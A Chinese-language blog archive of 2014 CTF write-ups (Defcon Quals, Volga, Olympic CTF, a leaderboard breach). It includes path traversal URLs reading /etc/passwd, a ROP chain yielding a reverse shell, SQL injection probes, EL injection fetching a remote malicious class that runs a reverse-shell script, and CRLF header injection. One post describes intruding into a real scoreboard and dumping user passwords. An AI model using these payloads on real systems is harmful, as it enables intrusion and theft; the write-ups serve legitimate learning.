2014年5月19日 星期一

Defcon CTF Quals 2014 - Nonameyet write up



記錄一下,

Defcon 是世界駭客  CTF 比賽最盛大的賽事,每年都是每個國家資安社群比拼較勁的地方

前十二強可以進入八月在 Las Vegas 拉斯維加斯舉辦的決賽,在現場進行實際網路攻防的 Attack & Defense CTF 的比賽!

在今年,終於湊齊台灣各方戰力順利打入決賽!

計分板:




這次解了三、四題左右,

這次感想有隊友可以 Cover 真的滿不錯的,討論時可以互相發現對方沒有想到的盲點等

然後第一次嘗試吃 B 群,超有用的 xDDDD

另外這次與以往不同的是,

1. 題目的分類不像以往依 Web, Forensics, Recon, Binary ... 等分類,而是依作者分類

2. 這次比賽共 24 題,幾乎七成都是 PWN 的題目

這讓所有隊伍從一開始壓力就很大,整個 48 小時比賽節奏很慢
(由於第一個解開題目的人有下一道題目的開題權,而 PWN 考驗的是細心的分析以及漏洞精準的利用,因此就算到了最後 12 小時還有約 1/3 的題目沒開)

3. 剩下的題目只有 Protocol 分析、純 Binary 逆向等,並沒有 Forensics

4. Web 題目只有兩題。
(正確來說只有一題,另外一題是看起來是 Web 其實是 PWN )
(不過身為 Web Security 的愛好者,所以就算是扯到 PWN 還是要把它給解出來,因此特地把這篇寫出來記錄一下!)



這次的題目是 "Nonameyet"

這題約在倒數十二小時時出現,題目敘述是這樣的
I claim no responsibility for the things posted here. nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me:80
網址進去是一個 PHP 寫的照片分享以及上傳網站,很容易不難發現任意檔案下載的漏洞

可以從
http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=./../../../../../../../../../../../../../etc/passwd
下載任意檔案

雖然大部份功能都是 PHP 撰寫,但是上傳相片的部份卻是放在
http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/cgi-bin/nonameyet.cgi
這是一個  C 語言所撰寫並編譯成 32 位元 ELF Linux Binary 的可執行檔
(檔案可從這裡下載

整個網站要入侵從 PHP 的視野來看無法拿到寫入的權限以及執行命令的權限,

所能做的只能讀檔,但為了  PWN 他光讀檔是沒有用的,至少要可以執行指令!

所以從純 Web 的路下不了手只好從 cgi-bin 下的那個 nonameyet.cgi下手尋找看看是否有可利用的地方

仔細觀察了 一段 不只一段時間,發現

1. 程式會將從 multipart/form-data POST base 的值當作檔案名稱上傳至 cgi-bin/photos 資料夾下,但是 open 時權限為 420 無法執行

2. 無法直接寫入 PHP 木馬到目錄下

3. 會將上傳後的 POST base 檔名經過 base64 編碼後放在 Cookie 上,其中 base 的內容經過設計後可以 leak memory 洩漏記憶體內容

4. base 的值太長會發生 Heap Overflow 但初步看下去沒有可控之處

5. 有段程式邏輯再處理 base 的內容,尋找他所定義的 TAGS (ex: %Time%, %Date%, %Genr%) 等並取代成相對應於 POST 值的內容

發現有 Heap Overflow 後就一直再 Fuzz 有沒有方法可以控制 EIP 的,
(要去追有點累...XDrz)

嘗試了滿久都失敗最後發現在處理  TAG 時程式去引用時可以去控制一些暫存器內容,經過設計後可以使它產生 Stack Overflow


所以控制好 ecx 以及 esi 接下來讓 mov [ebx], eax 的 ebx 為一個合法的值就可以來到 ret



證明 EIP 可控,接下來就是構造 Exploit 的部份

由於 Stack 可寫,讓整個 Exploit 撰寫變得簡單許多,剩下比較機歪的的就是  ASLR 的部份,

所以利用 ROP 的手法,

將 shellcode 放置在 Cookie 的部份,在利用原本程式中的 getenv 執行後結果 eax 會是我們的 shellcode

最後再找個 call eax 就可以成功執行 shellcode

所以最後構造的 ROP Chain 類似

AAAAAAA... # junk
0x00000000 #  要賦予給 n 的值
AAAAAAA... # junk
0x0804af93 # [ pop ebp / ret ]
0x0804f02c # 可寫的地方,會被設為 ebx 的值
0x08048a80 # .GOT getenv
0x08048cff # [call eax]
0x0804d55a # .RODATA 字串 HTTP_COOKIE


送出如下的 Request



即可拿到反連 shell



The flag is: Angry Rhinoceros. And then I found five dollars.





2014年3月31日 星期一

Pw3ed CTF LeaderBoard - Git Misconfiguration & SQL Injection




(前情提要)

某月某日晚上,人在外面有約正巧無法參與在週末所舉辦的 CTF

這次的這個 CTF 競賽似乎是某個國家某個實驗室第一次舉辦的對外 CTF 競賽,在 Ctftime.org 也有獨立頁面

結束回到家時競賽正好剩下最後幾個小時,在朋友的 Wargame 討論頻道內看到了一個鏈結

這次的競賽很特別的一點是,有所謂 hidden flag 的設計,會有額外的分數藏在計分板網站的各個角落

在對網站搜索的過程中,會不會找著找著就不小心找進去計分板裡面呢? 這篇就是再說這樣的一個故事


(目前網站漏洞已修復)


一開始看到的是這個鏈結
http://vulnerability-leader-board/error_log

看起來是網站開發時的 Error Log 以及 Apache 的設置沒設置好

看到這樣子的內容暴露在網路上,可以想像整個網站的防護應該不是很完整的,因此我們繼續來深入看看

整個網站是用 PHP, Apache, MySQL, Ubuntu 所架設,

PHP 的部分使用了 MVC 的架構,整個網站逛了一下發現安全設定似乎沒有很嚴謹,表面上看起來很 ok 不過在一些小細節的處理上滿容易噴出錯誤訊息的

如把 ?team=foo 置換成 ?team[]=foo 很容易噴出如
Warning: substr() expects parameter 1 to be string, array given in /home/deploy/vulnerability-leader-board/handlers/team_handler.php on line 146
等錯誤訊息。



再翻翻發現了
http://vulnerability-leader-board/phpmyadmin/
http://vulnerability-leader-board/.git/
的目錄。

許多開發者會將 Git, SVN 或者 CVS clone(checkout) 到正式上線的網站上,

這時如果未將權限設置好,攻擊者可以透過這些版本控管軟體所留下的資訊,取得敏感資訊。
(某些狀況甚至可以獲取原始碼)

http://vulnerability-leader-board/.git/config
http://vulnerability-leader-board/.git/index
 
從 config 可以看到,使用了 github.com 的平台,以及哪個 Repository 以及 Github 帳號資訊等
(不過在那個時候無法從 Github 存取到,似乎那個 repo 是 private 的或者已經移除)


從 index 可以取得網站目錄結構

懶人可以直接 curl http://vulnerability-leader-board/.git/index | strings 快速爬出


從目錄結構已經可以發現些有趣的東西了,

已經可以看到一些題目的 FLAG 了,因為某些題目的 FLAG 是以檔案形式放在網站上,也可以發現一些 Hidden Flags

接著再依照剛剛的目錄結構對現有檔案做一次觀察,發現了開發者留下的測試頁面
http://vulnerability-leader-board/nemoscript.php
點進去會發現


「 pass a team 」
恩,好,你要隊伍名稱我就給你嘛 ʅ(´◔౪◔)ʃ

我的隊伍名稱叫做 「 a' 」
http://vulnerability-leader-board/nemoscript.php?team=a' 


看來是 SQL Injection,而且還是個 Error Based 的 SQL Injection ...

再來看看一下權限高不高,
http://vulnerability-leader-board/nemoscript.php?team=a' and exists (select * from mysql.user)%23
恩...

可以存取 mysql.user 以及又跑在 localhost 以及又存在 phpmyadmin

這麼完美的組合好久沒遇到了

接著就是丟到 owst ...

可以讀取檔案(/etc/passwd)




所有的註冊隊伍使用者
#plainpass



接下來就是最 High 的,所有題目的 Flags



到這裡囉,舉辦一次 CTF 競賽也是很辛苦的!

總而言之這是一次很有趣的體驗 :P

2014年3月30日 星期日

Volga CTF 2014 Web 400 write up



回到家看到 CRAX Team 在玩 VolgaCTF 就順手玩了一下

解這題的時候順便讓我練習到了之前就想好好惡補一下的 EL 注入(Expression Language Injection) ,最後花了滿多時間再用 Java 的 Reflection API 來找到可利用的地方


網址點開為一個類似 Twitter 的個人留言板服務



註冊登入後長得如下,共有新增留言、設定、個人首頁、登出的功能



接下來就是開始找尋漏洞的時候,找的方法不外乎那些XD

最後是發現在設定的地方有個可以讓使用者自行指定布景 (header)的功能


使用 Tamper Data 對我們送出的資訊進行截取,


可以發現,送出的資料中 header 的部分是一個檔案路徑的形式存在
./headers/bar.xhtml
網站透過這個功能去引用自己的 template 以達到使用者自定布景主題的效果

因此我們來試試看,將 header 設為 ../../../../../etc/passwd 看會出現什麼事情?



網站死掉了...

任何功能都無法操作,只能把 Cookie 清空再註冊一個帳號嘗試,之後的步驟都是這樣,只要一個地方出錯就要重新註冊一個帳號重來一次XD

這點滿麻煩的,不過多少達到讓駭客覺得麻煩防駭客的效果XD

不過從錯誤資訊可以看到,網站使用了 <ui:include src="..."> 的方式引入檔案,所以透過這個功能我們可以引入伺服器上的任意檔案
(但是只限定於 html, xml 格式,不然再處理時會出錯一樣無法看到檔案內容)

雖然有格式限制,但我們可以嘗試引入網站 Java Servlet 的設定檔 WEB-INF/web.xml 來讀取一些設定


現在已經定位了漏洞的地方了,接下來是如何的利用?

發現,在引入的時候不只可以引入本地檔案,也可以利用 http://yourhome/foo.xml 的方式引入外部 html 或者 xml

但是只是引入 html 或者 xml 有什麼用呢?

在許多 Java Servlet 裏面(如 Struts, Spring Framework GlassFish etc...)我們可以使用一種叫做 EL 的語言,EL 本意是用來降低後端程式跟前端的困擾,讓兩者出來的程式可以更快速地結合

使用的方式是使用 ${...EL...} 這樣的方式執行,

所以我們將 header 設為自己伺服器上的檔案 http://yourhome.com/evil.xml

並將 evil.xml 內容設定為
<f:view xmlns:f="http://java.sun.com/jsf/core"
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${300*1+1}'/>
</f:view> 


可以看到 300*1+1 有確實的被執行到變成 301 惹

再用 applicationScope 查看一下伺服器設定,

<f:view xmlns:f="http://java.sun.com/jsf/core" 
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${applicationScope}'/>
</f:view>



可以查看一些敏感資訊,最後是執行指令的部分

EL 有對於一些危險指令做了一些限制,不過這些限制是可以繞過

相關 paper 可以參考 Remote Code with Expression Language Injection

內文中使用 Java Reflection API 的方式拿到 URLClassLoader 去讀取自己所寫好惡意的Java class 檔案

但是伺服器上的環境似乎跟 Paper 不太相同,所以不能直接使用上面的攻擊代碼,必須小改一下

伺服器上似乎沒有 pageContext 這個全域變數,所以無法透過它去取得 ServletContext 的 class

所以那時候就在慢慢踹,對其他已知的全域變數用 Relfection API  想辦法拿到ServletContext 這個 class

最後發現可以改用 session.getServletContext(),因此改寫上面的攻擊代碼

http://yourhome.com/evil.xml




http://yourhome.com/Malicious.class 要放上你要執行的 Java 程式

我這裡放的是從自己的 server 上下載反連的 perl script,並且執行




結果如下




FLAG W0W_S0_J@V@_SUCH_EL_V3RY_RCE


2014年2月10日 星期一

Olympic CTF 2014 CURLing 400 write up



Olympic CTF CURLing 400 的 write up

前言可以參考 Olympic CTF 2014 CURLing 200 write up

這題也是個人覺得出的非常不錯的題目之一,

要解開必須很熟悉 PHP 的特性以及攻擊手法才能解開這道題目,

網址打開是一個白畫面,有個 PHP 的錯誤訊息
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27


有再寫 PHP 的同學應該馬上可以知道這個 Notice 這是少了一個 GPC 參數的警告,

所以我們可以自己補上 POST
rpc_json_call=blablalba


哦,會發現錯誤訊息變了

Google 搜尋一下 JSON RPC 的標準,照著標準送出
rpc_json_call={"jsonrpc": "2.0", "method": "subtract", "params": [42, 23], "id": 1} 


會發現錯誤訊息又變了

哦?不正確的 method 名稱?

這時候可以猜測 method 名稱,不過笨蛋才會亂猜 :p

有範圍的猜測會比盲目的亂猜好太多,

如果對 PHP 夠了解,會知道 PHP class 上都會有一些 Magic Method 存在,

經過測試會發現 __construct 以及 __wakeup 是可以使用的!

送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":[1,2], "id": 1} 


錯誤訊息又變了! 不過從這次的錯誤訊息中可以得到資訊,知道了 __construct 的參數有三個,log_dir, debug, 以及 state

一樣偽造這三個參數的值後送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1}


發現是白畫面T____T

到這邊卡住了一下,也許 __construct 只是去設定了 log_dir, debug 以及 state 這三個參數並沒有其他動作,所以是不是能在一個 reuqest 內執行兩次 JSON RPC CALL 呢(?

沒有翻得很勤勞不過猜測在一個 array 內送兩個 json hash 竟然可以XDDD
rpc_json_call=[
{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1},
{"jsonrpc": "2.0", "method": "__wakeup", "params":{}, "id": 1}

哦,loged ? 啊是 log 三小XDDDD

把 log_dir 參數改一下改成 /var/www 看看


竟然說 permission denied XD

那嘗試 /tmp/ 呢?


看來是真的可以寫檔,那它寫了什麼呢?

可以用 out-of-bound 的方法利用 PHP 支援的 wrapper 把內容給寫出來
(PHP 支援的話甚至可以用 except://ls 執行指令)

利用 php://output 可以把內容寫到網頁上,


原來寫了一個 serialize 過後的 PHP Object 進去,難怪會用到 __wakeup 的 magic method

所以我們可以嘗試把 webshell 寫到 /var/www/ 內

不過因為 server 的設定,似乎每隔一秒會定時把 /var/www 的檔案清掉,所以如果手速不夠快會一直以為自己沒有寫成功
(哭哭T___T)

所以寫個 script 搞定!



執行 ls -alh


執行 cat /FLAG
CTF{b15ffee30a117f418d1cede6faa57778}


<( ̄︶ ̄)>


Olympic CTF 2014 CURLing 200 write up



最近剛好玩了一下 Olympic CTF ,解了一些題目,

其中有幾題讓自己印象深刻,還滿有趣的所以來記錄一下 XD


-----
400 分的可以參考另外一篇 CURLing 400
----

首先是 CURLing 200 分~

打開是一個新聞系統的頁面


其中選取新聞的參數似乎是去讀取檔案,並且存在 Directory Traversal 漏洞,可以透過 ../ 來偽造路徑
(還記得 遠通 嗎 XDD)

http://109.233.61.11:27280/news/?f=./31-12-2013
漏洞判斷方式是把原本的參數加上 ./ 會顯示與原本的頁面一樣

所以可以利用 ../ 去讀取伺服器上的檔案(知道路徑以及權限足夠),如
http://109.233.61.11:27280/news/?f=../../../../etc/passwd

也可以讀取 /proc/self/cmdline 來得知當前運行什麼程序
http://109.233.61.11:27280/news/?f=../../../../proc/self/cmdline
可以知道這個新聞系統是用 Pyhton + Django + Gunicorn 所架設的


翻了一下似乎都找不到什麼有用的資訊,所以來看看 Nginx 還有藏什麼網頁服務在?

猜一下 Nginx.conf 的預設位置
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/nginx.conf

看不到什麼有用的資訊,不過沒關係我們在繼續猜
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/sites-enabled/default
Got it. 看到了 /secret/flag 的 URL pattern 似乎可以得到目標 flag


但是直接 Access 會出現 404 Not Found T______T


仔細再看一下 /etc/nginx/sites-enabled/default 檔案,會發現有 internal 以及 root 的字樣,

查一下 官方 manual 會發現這是 Nginx 的功能之一可以用來保護檔案,

至於存取的方法是 Nginx 判斷 server 是否有送出 X-Accel-Redirect 的 header,如果有才允許使用者存取檔案,

但是這個 header 是 server 端控制,所以使用者無法偽造,


在這邊卡了一下子,不過再仔細觀察整個新聞系統發現網頁其實存在另外一個漏洞,

在瀏覽新聞的時候下方回首頁的連結是透過一個參數 retpath 控制的

伺服器端實現的原理是把 retpath 的值放進 Location header 裡隨著 server 一起送回來,

如送出
http://109.233.61.11:27280/?retpath=foooo
則 server 吐回的則是 Location: foooo
所以在這個情況下,存在 HTTP Response Splitting 弱點,不過我們可以不用偽造整個 request 只要偽造一個 header 就好了例如
http://109.233.61.11:27280/?retpath=foo%0d%0afake_header:fake_value
則可以成功偽造一個 fake_header 的 header

所以如果沒有搭配上面的 ../ 找出 Nginx 設定檔案,可能只會把這個當成一個沒有大危害的弱點
(只能針對 Client Side 攻擊)

不過當配合上面 Nginx internal 的設定以及這個漏洞,組合技的效果就出來了,這也是我覺得這次題目出得不錯的原因之一XD

送出
http://109.233.61.11:27280/?retpath=foo%0d%0aX-Accel-Redirect:/secret/flag
就可以得到 flag 惹!
CTF{6e75d02b8e8329bb4b45c7dabd2e1da2}